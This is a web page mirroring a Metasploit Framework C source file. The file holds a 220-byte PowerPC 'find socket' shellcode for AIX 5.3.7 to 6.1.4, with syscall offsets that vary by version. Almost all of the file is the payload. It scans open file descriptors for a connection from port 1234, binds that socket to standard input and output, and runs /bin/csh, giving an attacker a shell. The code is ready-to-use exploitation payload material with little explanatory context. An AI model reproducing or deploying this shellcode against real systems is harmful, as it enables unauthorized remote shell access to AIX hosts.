CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/unixasm/aix-power-fndsockcode.c
Views: 11766
1
/*
2
* aix-power-fndsockcode.c
3
* Copyright 2008 Ramon de Carvalho Valle <[email protected]>
4
*
5
* This library is free software; you can redistribute it and/or
6
* modify it under the terms of the GNU Lesser General Public
7
* License as published by the Free Software Foundation; either
8
* version 2.1 of the License, or (at your option) any later version.
9
*
10
* This library is distributed in the hope that it will be useful,
11
* but WITHOUT ANY WARRANTY; without even the implied warranty of
12
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
13
* Lesser General Public License for more details.
14
*
15
* You should have received a copy of the GNU Lesser General Public
16
* License along with this library; if not, write to the Free Software
17
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
18
*
19
*/
20
21
/*
22
* Supported AIX versions:
23
*
24
* -DAIX614 AIX Version 6.1.4
25
* -DAIX613 AIX Version 6.1.3
26
* -DAIX612 AIX Version 6.1.2
27
* -DAIX611 AIX Version 6.1.1
28
* -DAIX5310 AIX Version 5.3.10
29
* -DAIX539 AIX Version 5.3.9
30
* -DAIX538 AIX Version 5.3.8
31
* -DAIX537 AIX Version 5.3.7
32
*
33
*/
34
35
#define FNDSOCKPORT 106
36
37
char fndsockcode[]= /* 220 bytes */
38
"\x7f\xff\xfa\x79" /* xor. r31,r31,r31 */
39
"\x40\x82\xff\xfd" /* bnel <fndsockcode> */
40
"\x7f\xc8\x02\xa6" /* mflr r30 */
41
"\x3b\xde\x01\xff" /* cal r30,511(r30) */
42
"\x3b\xde\xfe\x1d" /* cal r30,-483(r30) */
43
"\x7f\xc9\x03\xa6" /* mtctr r30 */
44
"\x4e\x80\x04\x20" /* bctr */
45
"\x4c\xc6\x33\x42" /* crorc 6,6,6 */
46
"\x44\xff\xff\x02" /* svca 0 */
47
"\x3b\xde\xff\xf8" /* cal r30,-8(r30) */
48
"\x3b\xa0\x07\xff" /* lil r29,2047 */
49
"\x97\xe1\xff\xfc" /* stu r31,-4(r1) */
50
"\x7c\x3c\x0b\x78" /* mr r28,r1 */
51
"\x3b\x7d\xf8\x2d" /* cal r27,-2003(r29) */
52
"\x97\x61\xff\xfc" /* stu r27,-4(r1) */
53
"\x7c\x3b\x0b\x78" /* mr r27,r1 */
54
"\x3b\xff\x01\xff" /* cal r31,511(r31) */
55
"\x3b\xff\xfe\x02" /* cal r31,-510(r31) */
56
"\x7f\x65\xdb\x78" /* mr r5,r27 */
57
"\x7f\x84\xe3\x78" /* mr r4,r28 */
58
"\x7f\xe3\xfb\x78" /* mr r3,r31 */
59
#ifdef AIX614
60
"\x38\x5d\xf8\xd4" /* cal r2,-1836(r29) */
61
#endif
62
#ifdef AIX613
63
"\x38\x5d\xf8\xce" /* cal r2,-1842(r29) */
64
#endif
65
#ifdef AIX612
66
"\x38\x5d\xf8\xce" /* cal r2,-1842(r29) */
67
#endif
68
#ifdef AIX611
69
"\x38\x5d\xf8\xcb" /* cal r2,-1845(r29) */
70
#endif
71
#ifdef AIX610
72
"\x38\x5d\xf8\xcc" /* cal r2,-1844(r29) */
73
#endif
74
#ifdef AIX5310
75
"\x38\x5d\xf8\xc7" /* cal r2,-1849(r29) */
76
#endif
77
#ifdef AIX539
78
"\x38\x5d\xf8\xc7" /* cal r2,-1849(r29) */
79
#endif
80
#ifdef AIX538
81
"\x38\x5d\xf8\xc7" /* cal r2,-1849(r29) */
82
#endif
83
#ifdef AIX537
84
"\x38\x5d\xf8\xc7" /* cal r2,-1849(r29) */
85
#endif
86
87
"\x7f\xc9\x03\xa6" /* mtctr r30 */
88
"\x4e\x80\x04\x21" /* bctrl */
89
"\x3b\x5c\x01\xff" /* cal r26,511(r28) */
90
"\xa3\x5a\xfe\x03" /* lhz r26,-509(r26) */
91
"\x28\x1a\x04\xd2" /* cmpli 0,r26,1234 */
92
"\x40\x82\xff\xd4" /* bne <fndsockcode+64> */
93
"\x3b\x3d\xf8\x03" /* cal r25,-2045(r29) */
94
"\x7f\x23\xcb\x78" /* mr r3,r25 */
95
#ifdef AIX614
96
"\x38\x5d\xf9\x17" /* cal r2,-1769(r29) */
97
#endif
98
#ifdef AIX613
99
"\x38\x5d\xf9\x11" /* cal r2,-1775(r29) */
100
#endif
101
#ifdef AIX612
102
"\x38\x5d\xf9\x11" /* cal r2,-1775(r29) */
103
#endif
104
#ifdef AIX611
105
"\x38\x5d\xf9\x0e" /* cal r2,-1778(r29) */
106
#endif
107
#ifdef AIX610
108
"\x38\x5d\xf9\x0e" /* cal r2,-1778(r29) */
109
#endif
110
#ifdef AIX5310
111
"\x38\x5d\xf8\xf6" /* cal r2,-1802(r29) */
112
#endif
113
#ifdef AIX539
114
"\x38\x5d\xf8\xf6" /* cal r2,-1802(r29) */
115
#endif
116
#ifdef AIX538
117
"\x38\x5d\xf8\xf6" /* cal r2,-1802(r29) */
118
#endif
119
#ifdef AIX537
120
"\x38\x5d\xf8\xf6" /* cal r2,-1802(r29) */
121
#endif
122
123
"\x7f\xc9\x03\xa6" /* mtctr r30 */
124
"\x4e\x80\x04\x21" /* bctrl */
125
"\x7f\x25\xcb\x78" /* mr r5,r25 */
126
"\x7c\x84\x22\x78" /* xor r4,r4,r4 */
127
"\x7f\xe3\xfb\x78" /* mr r3,r31 */
128
#ifdef AIX614
129
"\x38\x5d\xfa\x93" /* cal r2,-1389(r29) */
130
#endif
131
#ifdef AIX613
132
"\x38\x5d\xfa\x85" /* cal r2,-1403(r29) */
133
#endif
134
#ifdef AIX612
135
"\x38\x5d\xfa\x7c" /* cal r2,-1412(r29) */
136
#endif
137
#ifdef AIX611
138
"\x38\x5d\xfa\x67" /* cal r2,-1433(r29) */
139
#endif
140
#ifdef AIX610
141
"\x38\x5d\xfa\x6a" /* cal r2,-1430(r29) */
142
#endif
143
#ifdef AIX5310
144
"\x38\x5d\xf9\xee" /* cal r2,-1554(r29) */
145
#endif
146
#ifdef AIX539
147
"\x38\x5d\xf9\xee" /* cal r2,-1554(r29) */
148
#endif
149
#ifdef AIX538
150
"\x38\x5d\xf9\xee" /* cal r2,-1554(r29) */
151
#endif
152
#ifdef AIX537
153
"\x38\x5d\xf9\xee" /* cal r2,-1554(r29) */
154
#endif
155
156
"\x7f\xc9\x03\xa6" /* mtctr r30 */
157
"\x4e\x80\x04\x21" /* bctrl */
158
"\x37\x39\xff\xff" /* ai. r25,r25,-1 */
159
"\x40\x80\xff\xd4" /* bge <fndsockcode+116> */
160
"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */
161
"\x40\x82\xff\xfd" /* bnel <fndsockcode+164> */
162
"\x7f\x08\x02\xa6" /* mflr r24 */
163
"\x3b\x18\x01\xff" /* cal r24,511(r24) */
164
"\x38\x78\xfe\x29" /* cal r3,-471(r24) */
165
"\x98\xb8\xfe\x31" /* stb r5,-463(r24) */
166
"\x94\xa1\xff\xfc" /* stu r5,-4(r1) */
167
"\x94\x61\xff\xfc" /* stu r3,-4(r1) */
168
"\x7c\x24\x0b\x78" /* mr r4,r1 */
169
#ifdef AIX614
170
"\x38\x5d\xf8\x08" /* cal r2,-2040(r29) */
171
#endif
172
#ifdef AIX613
173
"\x38\x5d\xf8\x08" /* cal r2,-2040(r29) */
174
#endif
175
#ifdef AIX612
176
"\x38\x5d\xf8\x08" /* cal r2,-2040(r29) */
177
#endif
178
#ifdef AIX611
179
"\x38\x5d\xf8\x08" /* cal r2,-2040(r29) */
180
#endif
181
#ifdef AIX610
182
"\x38\x5d\xf8\x07" /* cal r2,-2041(r29) */
183
#endif
184
#ifdef AIX5310
185
"\x38\x5d\xf8\x07" /* cal r2,-2041(r29) */
186
#endif
187
#ifdef AIX539
188
"\x38\x5d\xf8\x07" /* cal r2,-2041(r29) */
189
#endif
190
#ifdef AIX538
191
"\x38\x5d\xf8\x07" /* cal r2,-2041(r29) */
192
#endif
193
#ifdef AIX537
194
"\x38\x5d\xf8\x07" /* cal r2,-2041(r29) */
195
#endif
196
197
"\x7f\xc9\x03\xa6" /* mtctr r30 */
198
"\x4e\x80\x04\x21" /* bctrl */
199
"/bin/csh"
200
;
201
202
203